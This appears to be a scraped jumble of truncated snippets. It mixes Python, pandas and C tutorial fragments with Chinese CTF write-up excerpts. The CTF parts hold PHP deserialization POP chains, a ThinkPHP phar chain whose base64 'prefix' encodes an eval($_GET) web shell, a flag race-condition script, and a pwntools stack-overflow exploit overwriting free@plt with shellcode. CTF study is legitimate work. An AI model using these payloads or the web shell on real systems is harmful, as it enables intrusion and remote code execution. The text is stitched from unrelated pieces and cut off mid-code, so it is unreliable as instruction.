In the series ofPython tutorial for beginners, we learned more aboutPython String Functionsin our last tutorial. Python provides us with an important feature for reading data from the file and writing data into
先看16进制,脑洞一堆没思路,信息搜集。发现这……这怕是这届defcon的大名鼎鼎cLEMENCy中段序哦。Github上的ida_clemency 按照readme上面配好环境后发现clemency.bin可识别了,找了一圈没发现flag,突然想起有个flag.enc,然后就出了。。 15.流量分析 类型:MISC 分值:300分 ...
<?phpclass Joker{ private $Error; public function __construct(){ $this->Error = new Bigger(); $this->Error->Processing_strings = new Lisa(); }}class Bigger{ public $Processing_strings;}class Lisa{ public $code;}$a = new Joker;echo base64_encode(serialize($a));?> 结果:Tzo1OiJK...
class Upload { public $f; public $fname; public $fsize; function __construct(){ $this->f = $_FILES; } function savefile() { $fname = md5($this->f["file"]["name"]).".png"; if(file_exists('./upload/'.$fname)) { @unlink('./upload/'.$fname); } move_uploaded_file($...
If you don’t want to keep them, then you can pass the argument index=False to .to_csv().Read a CSV File Once your data is saved in a CSV file, you’ll likely want to load and use it from time to time. You can do that with the pandas read_csv() function: Python >>> ...
public function __construct() { $this->tag = true; $this->options = [ 'expire' => 0, 'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4', ]; $this->handler = (new File); } } $o = new \think\process\pipes\Windows; $phar = new \Phar("a.phar"); //后缀名必须为phar $...
可以通过竞争 /flag 与 /about 获取到 FLAG ,有多种并发方式,以下提供一种使用 python 的执行并发的方式,仅供参考,后续会提供详细分析的 writeup放在评论区 importasyncioimportaiohttpasyncdefsend_request(session,url):whileTrue:asyncwithsession.get(url)asresp:text=awaitresp.text()if"aliyunctf"intext:print...
继续分析程序流程,在4007DF处发现输入的ID第一位为0时直接结束该函数执行然后去执行400A29,该函数中有strcpy存在很明显的栈溢出。又因40096D中调用free,所以直接将shellcode起始地址覆盖free_plt,调用free时直接开sh:#!/usr/bin/env python from pwn import * DEBUG = 0 if DEBUG: p = process('./pwn200...
C program to write your own memset() function #include<stdio.h>#include<string.h>#defineLEN 10//memset() function implemention//function name: myMemSet()voidmyMemSet(void*str,charch,size_tn){inti;//type cast the str from void* to char*char*s=(char*)str;//fill "n" elements/blocks...
这次赶紧搜罗一波,把相关的东西保存一下。 参考链接如下: https://github.com/python/cpython/blob/master/Include/opcode.h https://bbs.pediy.com/thread-246683.htm https://das.scusec.org/2017/03/24/pythonopcode/ http://unpyc.sourceforge.net/Opcodes.html...